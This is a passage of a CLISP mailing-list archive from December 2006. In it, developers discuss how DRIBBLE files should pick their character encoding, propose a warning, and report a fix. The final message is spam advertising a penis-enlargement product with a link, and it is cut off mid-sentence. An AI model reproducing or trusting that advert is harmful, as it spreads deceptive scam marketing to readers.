(subtypep *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*) (subtypep *TERMINAL-ENCODING* *DEFAULT-FILE-ENCODING*))) (warn "~S: ~S and ~S cover different character ranges, you will be restricted to their intersection while dribbling is in effect" 'dribble *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*)) Sam. From Devon@Jovi.Net Thu Dec 14 10:56:15 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Guvkd-0005PO-0v for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 10:56:15 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GuvkO-0003zC-3M for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 10:56:14 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id kBEIE8ZB082054 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Dec 2006 13:14:09 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id kBEIDwmT082030; Thu, 14 Dec 2006 13:13:58 -0500 (EST) (envelope-from Devon@Jovi.Net) Date: Thu, 14 Dec 2006 13:13:58 -0500 (EST) Message-Id: <200612141813.kBEIDwmT082030@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: <45818E1F.4070604@gnu.org> (message from Sam Steingold on Thu, 14 Dec 2006 12:47:11 -0500) References: <20061204170202.E527512AD83@thalassa.informatimago.com> <17793.17873.488140.507073@thalassa.informatimago.com> <45818E1F.4070604@gnu.org> X-Virus-Scanned: ClamAV 0.88.7/2332/Thu Dec 14 09:54:27 2006 on grant.org X-Virus-Status: Clean X-DCC-sonic.net-Metrics: grant.org 1117; IP=ok Body=3 Fuz1=3 Fuz2=3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Thu, 14 Dec 2006 13:14:09 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Dec 2006 18:56:15 -0000 Date: Thu, 14 Dec 2006 12:47:11 -0500 From: Sam Steingold ... Pascal Bourguignon wrote: ... > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? ... I am not sure this is a good idea. dribble file is a *file*, after all. ... A -*- coding:iso-8859-15 -*- header would be the traditional lispy way. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Thu Dec 14 11:24:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GuwC4-0008J7-T9 for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 11:24:36 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GuwC2-0006Ff-Cq for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 11:24:36 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A4E6030C; Thu, 14 Dec 2006 14:24:22 -0500 Message-ID: <4581A4E6.1050108@gnu.org> Date: Thu, 14 Dec 2006 14:24:22 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Devon Sean McCullough References: <20061204170202.E527512AD83@thalassa.informatimago.com> <17793.17873.488140.507073@thalassa.informatimago.com> <45818E1F.4070604@gnu.org> <200612141813.kBEIDwmT082030@grant.org> In-Reply-To: <200612141813.kBEIDwmT082030@grant.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Dec 2006 19:24:37 -0000 Devon Sean McCullough wrote: > Date: Thu, 14 Dec 2006 12:47:11 -0500 > From: Sam Steingold > ... > Pascal Bourguignon wrote: > ... > > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? > ... > I am not sure this is a good idea. > dribble file is a *file*, after all. > ... > > A -*- coding:iso-8859-15 -*- header > would be the traditional lispy way. this is orthogonal to the original issue. it would be nice to be able to use :encoding :detect, so PTC, but this cannot be the default because of backward compatibility, performance and user-expectation issues (overwriting a file which contains "-*-" would preserve its encoding which may be a problem for the user if he is replacing an unrelated temp file - you would not want to inherit the encoding in that case). Sam. From pjb@informatimago.com Thu Dec 14 11:43:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GuwUc-0001nu-0c for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 11:43:46 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GuwUY-0002E4-7E for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 11:43:46 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 88225585E7; Thu, 14 Dec 2006 20:43:35 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A97BE585E6; Thu, 14 Dec 2006 20:43:32 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 582F112AD8A; Thu, 14 Dec 2006 20:43:32 +0100 (CET) From: Pascal Bourguignon Message-ID: <17793.43364.268956.286178@thalassa.informatimago.com> Date: Thu, 14 Dec 2006 20:43:32 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <45818E1F.4070604@gnu.org> References: <20061204170202.E527512AD83@thalassa.informatimago.com> <17793.17873.488140.507073@thalassa.informatimago.com> <45818E1F.4070604@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Dec 2006 19:43:46 -0000 Sam Steingold writes: > Pascal Bourguignon wrote: > >=20 > > I have a dribble open, and while the terminal is in utf-8, the files > > are in iso-8859-15 by default. > >=20 > > *DEFAULT-FILE-ENCODING* # > > *TERMINAL-ENCODING* # > >=20 > >=20 > > Now, the problem is that DRIBBLE doesn't take an external-format > > argument, so I cannot portably specify the encoding for the dribble > > file... > >=20 > > The above error message is signaled even before > > CONVERT-STRING-TO-BYTES is called, by the input processing of > > DRIBBLE.=20 > >=20 > > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? >=20 > I am not sure this is a good idea. > dribble file is a *file*, after all. > How about a warning in DRIBBLE: >=20 > (unless (or (eq *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*) > (and (subtypep *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*= ) > (subtypep *TERMINAL-ENCODING* *DEFAULT-FILE-ENCODING*= ))) > (warn "~S: ~S and ~S cover different character ranges, you will be=20 > restricted to their intersection while dribbling is in effect" 'dribble= =20 > *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*)) That would be good enough to prevent other people losing too much time on this problem. This warning: (warn "~S: CUSTOM:*DEFAULT-FILE-ENCODING* and CUSTOM:*TERMINAL-ENCODIN= G*=20 cover different character ranges, you will be restricted to their interse= ction while dribbling is in effect" 'dribble) would even allow them to know what "variable" can be modified to correct the problem. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From Devon@Jovi.Net Thu Dec 14 23:55:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gv7um-00049N-IT for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 23:55:32 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gv7um-00005B-04 for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 23:55:32 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id kBF7t3C5069120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 15 Dec 2006 02:55:04 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id kBF7srNl069082; Fri, 15 Dec 2006 02:54:53 -0500 (EST) (envelope-from Devon@Jovi.Net) Date: Fri, 15 Dec 2006 02:54:53 -0500 (EST) Message-Id: <200612150754.kBF7srNl069082@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: <4581A4E6.1050108@gnu.org> (message from Sam Steingold on Thu, 14 Dec 2006 14:24:22 -0500) References: <20061204170202.E527512AD83@thalassa.informatimago.com> <17793.17873.488140.507073@thalassa.informatimago.com> <45818E1F.4070604@gnu.org> <200612141813.kBEIDwmT082030@grant.org> <4581A4E6.1050108@gnu.org> X-Virus-Scanned: ClamAV 0.88.7/2335/Thu Dec 14 18:15:52 2006 on grant.org X-Virus-Status: Clean X-DCC-INFN-TO-Metrics: grant.org 1233; Body=3 Fuz1=3 Fuz2=3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Fri, 15 Dec 2006 02:55:04 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Dec 2006 07:55:32 -0000 > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? Yes, because interactive debug features like dribble should maximize productivity and minimize surprises. Users expect dribble files to copy terminal output, encoding and all, thus ;; Dribble started 2006-12-15 02:54:13 -*- coding:iso-8859-15 -*- seems most desirable and compatible with existing practice. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote PS: Sorry if my meaning was unclear, I hope it is clear now. PPS: I do not understand the reply quoted below so there may be important issues I'm unaware of. Date: Thu, 14 Dec 2006 14:24:22 -0500 From: Sam Steingold To: Devon Sean McCullough In-Reply-To: <200612141813.kBEIDwmT082030@grant.org> Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? Reply-To: clisp-list@lists.sourceforge.net Devon Sean McCullough wrote: > Date: Thu, 14 Dec 2006 12:47:11 -0500 > From: Sam Steingold > ... > Pascal Bourguignon wrote: > ... > > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? > ... > I am not sure this is a good idea. > dribble file is a *file*, after all. > ... > > A -*- coding:iso-8859-15 -*- header > would be the traditional lispy way. this is orthogonal to the original issue. it would be nice to be able to use :encoding :detect, so PTC, but this cannot be the default because of backward compatibility, performance and user-expectation issues (overwriting a file which contains "-*-" would preserve its encoding which may be a problem for the user if he is replacing an unrelated temp file - you would not want to inherit the encoding in that case). Sam. ------------------------------------------------------------------------- Take Surveys. Earn Cash. Influence the Future of IT Join SourceForge.net's Techsay panel and you'll get the chance to share your opinions on IT & business topics through brief surveys - and earn cash http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From bruno@clisp.org Fri Dec 15 06:15:00 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GvDq0-0006T6-1G for clisp-list@lists.sourceforge.net; Fri, 15 Dec 2006 06:15:00 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GvDpv-0002h4-Ed for clisp-list@lists.sourceforge.net; Fri, 15 Dec 2006 06:14:58 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kBFE62Bl002918; Fri, 15 Dec 2006 15:06:02 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kBFE5uUJ029472; Fri, 15 Dec 2006 15:05:56 +0100 Received: from honolulu.ilog.fr ([172.16.15.33]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Fri, 15 Dec 2006 15:06:39 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id 3DB2D3F420; Fri, 15 Dec 2006 15:02:15 +0100 (CET) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Fri, 15 Dec 2006 15:02:14 +0100 User-Agent: KMail/1.9.1 References: <20061204170202.E527512AD83@thalassa.informatimago.com> <200612141813.kBEIDwmT082030@grant.org> <4581A4E6.1050108@gnu.org> In-Reply-To: <4581A4E6.1050108@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200612151502.15093.bruno@clisp.org> X-OriginalArrivalTime: 15 Dec 2006 14:06:40.0024 (UTC) FILETIME=[3DD6C180:01C72052] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Devon Sean McCullough , pjb@informatimago.com Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Dec 2006 14:15:00 -0000 Sam wrote: > it would be nice to be able to use :encoding :detect, so PTC, but this > cannot be the default because of backward compatibility, performance and > user-expectation issues (overwriting a file which contains "-*-" would > preserve its encoding which may be a problem for the user if he is > replacing an unrelated temp file - you would not want to inherit the > encoding in that case). Autodetection of encoding would be ok if it worked reliably. But without the "-*- coding: ... -*-" convention, a software can only guess (using buggy heuristics). And with the "-*- coding: ... -*-" convention you need to know the comment syntax: ';' is for Lisp source code only; '.\"' is for manpages only, etc. - and some types of files, such as CSV, don't have comments at all, so there's no possibility of storing a "-*- coding: ... -*-" comment. These different encodings were needed features during the switch from old encodings to Unicode (ca. 2000-2003). Nowadays, a user is better served by using an UTF-8 locale from the beginning, than by using a particular encoding here and a different encoding there. Bruno From pjb@informatimago.com Fri Dec 15 08:17:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GvFkp-0002sx-Od for clisp-list@lists.sourceforge.net; Fri, 15 Dec 2006 08:17:48 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GvFkn-0004kn-PL for clisp-list@lists.sourceforge.net; Fri, 15 Dec 2006 08:17:47 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id EA8AB585E7; Fri, 15 Dec 2006 17:17:31 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DB1BF585E6; Fri, 15 Dec 2006 17:17:29 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 38D9212AD8A; Fri, 15 Dec 2006 17:17:29 +0100 (CET) From: Pascal Bourguignon Message-ID: <17794.51865.194490.751229@thalassa.informatimago.com> Date: Fri, 15 Dec 2006 17:17:29 +0100 To: Bruno Haible In-Reply-To: <200612151502.15093.bruno@clisp.org> References: <20061204170202.E527512AD83@thalassa.informatimago.com> <200612141813.kBEIDwmT082030@grant.org> <4581A4E6.1050108@gnu.org> <200612151502.15093.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Devon Sean McCullough , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Dec 2006 16:17:48 -0000 Bruno Haible writes: > Sam wrote: > > it would be nice to be able to use :encoding :detect, so PTC, but thi= s=20 > > cannot be the default because of backward compatibility, performance = and=20 > > user-expectation issues (overwriting a file which contains "-*-" woul= d=20 > > preserve its encoding which may be a problem for the user if he is=20 > > replacing an unrelated temp file - you would not want to inherit the=20 > > encoding in that case). >=20 > Autodetection of encoding would be ok if it worked reliably. But withou= t > the "-*- coding: ... -*-" convention, a software can only guess (using > buggy heuristics). And with the "-*- coding: ... -*-" convention you ne= ed > to know the comment syntax: ';' is for Lisp source code only; '.\"' is > for manpages only, etc. - and some types of files, such as CSV, don't h= ave > comments at all, so there's no possibility of storing a "-*- coding: ..= . -*-" > comment. No, you don't need to know the comment syntax. You only need to match -\*-\(.*\)-\*- on the first two lines. Have a look at: http://darcs.informatimago.com/darcs/public/lisp/common-lisp/make-depends= .lisp (Search for: Emacs File Local Variables) and the doc of emacs. (Note that the coding could also be stored in the last block, between Local Variables: and End:). Autodetection of encoding is not 100% reliable, but when you get strong hints such as Content-Type: ...;charset=3D... or -*- coding:... -*= -, there's no reason why not to use them. > These different encodings were needed features during the switch from o= ld > encodings to Unicode (ca. 2000-2003). Nowadays, a user is better served= by > using an UTF-8 locale from the beginning, than by using a particular en= coding > here and a different encoding there. The problem is that there are several different users on different systems and using libraries developed at different times. When I load some older libraries, I can use ASCII, for some other I need iso-8859-1, for more recent libraries, iso-8859-15, and finally utf-8. Granted, I plan to switch everything I can to UTF-8, but we must still be ready to process older files. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Cats meow out of angst "Thumbs! If only we had thumbs! We could break so much!" From Joerg-Cyril.Hoehle@t-systems.com Tue Dec 19 02:26:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GwcBO-00017E-FC for clisp-list@lists.sourceforge.net; Tue, 19 Dec 2006 02:26:53 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GwcBL-0001rd-Ra for clisp-list@lists.sourceforge.net; Tue, 19 Dec 2006 02:26:50 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by mail5.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 19 Dec 2006 10:34:26 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAANQ.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Tue, 19 Dec 2006 10:34:25 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Tue, 19 Dec 2006 10:34:23 +0100 Message-Id: In-Reply-To: <45818E1F.4070604@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: thread-topic: [clisp-list] Where does this encoding come from? thread-index: Accfp/0pfxmltzvVTG286gZcjTvLRgDocMKA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 19 Dec 2006 09:34:25.0141 (UTC) FILETIME=[DF246A50:01C72350] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Dec 2006 10:26:53 -0000 Hi, >> Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? >I am not sure this is a good idea. >dribble file is a *file*, after all. IMHO, a dribbling stream should reproduce, at the byte-level, what was sent to the terminal stream. All other proposals so far may fail in the presence of the user switching the terminal-encoding on the fly, and AFAIK we have no broadcast streams that can switch encodings on the fly (i.e. apply the switch to the constituents, which may be considered a feature integration flaw). IMHO, the idea of dribbling is to faithfully reproduce I/O of a session. Then at least, the programmer is sure of what was output and can use that information for debugging. If one wishes to view a dribble file with another encoding, s/he can recode the dribble file (assuming a single encoding was used). Alas, the current implementation does not work like this. Here I think *terminal-encoding* (snapshot at the time sribble is started) is a reasonable choice for the dribble file and functionality. It adheres to the principle of least surprise. It would not have led to Pascal's bug report. *default-file-encoding* is a red herring. Since "dribble is intended primarily for interactive debugging", I see no reason against adding an initial ";;; Hey Emacs -*- mode ... encoding ....~%" line that Emacs would know how to parse (preferrably only ASCII characters encoded using *terminal-encoding*). # #> [21]> (setf (stream-external-format *) charset:ascii) *** - SYSTEM::SET-STREAM-EXTERNAL-FORMAT on # #> is illegal Why not apply (SETF STREAM-EXTERNAL-FORMAT) on all constituent streams? Of course, what's the specification of STREAM-EXTERNAL-FORMAT when applied to a BROADCAST-STREAM? CLHS says STREAM-EXTERNAL-FORMAT applies to file streams. Thus extending the function to broadcast streams is not portable. But that's another topic than DRIBBLE. Maybe CLISP should signal an error upon (STREAM-EXTERNAL-FORMAT #)? Regards, Jorg Hohle. From sds@gnu.org Tue Dec 19 06:21:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gwfqu-0008Tt-6R for clisp-list@lists.sourceforge.net; Tue, 19 Dec 2006 06:21:56 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gwfqr-0008OV-Kk for clisp-list@lists.sourceforge.net; Tue, 19 Dec 2006 06:21:56 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A5770330; Tue, 19 Dec 2006 09:21:43 -0500 Message-ID: <4587F576.5010609@gnu.org> Date: Tue, 19 Dec 2006 09:21:42 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: <45818E1F.4070604@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Dec 2006 14:21:56 -0000 Hoehle, Joerg-Cyril wrote: > IMHO, a dribbling stream should reproduce, at the byte-level, what was > sent to the terminal stream. I fixed this on 2006-12-17 in a similar way. Sam. From Kline@lookingup.co.uk Wed Dec 20 22:45:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GxHgC-0001tQ-ID for clisp-list@lists.sourceforge.net; Wed, 20 Dec 2006 22:45:25 -0800 Received: from cable-89-216-136-164.dynamic.sbb.co.yu ([89.216.136.164] helo=acme-universal.sbb.co.yu) by mail.sourceforge.net with smtp (Exim 4.44) id 1GxHg7-0004Pz-P6 for clisp-list@lists.sourceforge.net; Wed, 20 Dec 2006 22:45:23 -0800 Message-ID: <177c01c724cb$00d32ecb$a488d859@acme-universal.sbb.co.yu> From: "Dickescheid Rob" To: "Sneek Raymond" Date: Thu, 21 Dec 2006 06:45:12 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1441 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] Never thought that so small woody exists. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Dec 2006 06:45:27 -0000 Salute Sir Don't tell me why your thing is so small, I will better help you to make it really Bigger! Why bigger? Because over 76% of all women need a longer prick to satisfy their desire! Go there and get your solution: http://witted.us It'll really help you! We will ship it worldwide within 24 hours, and if you find 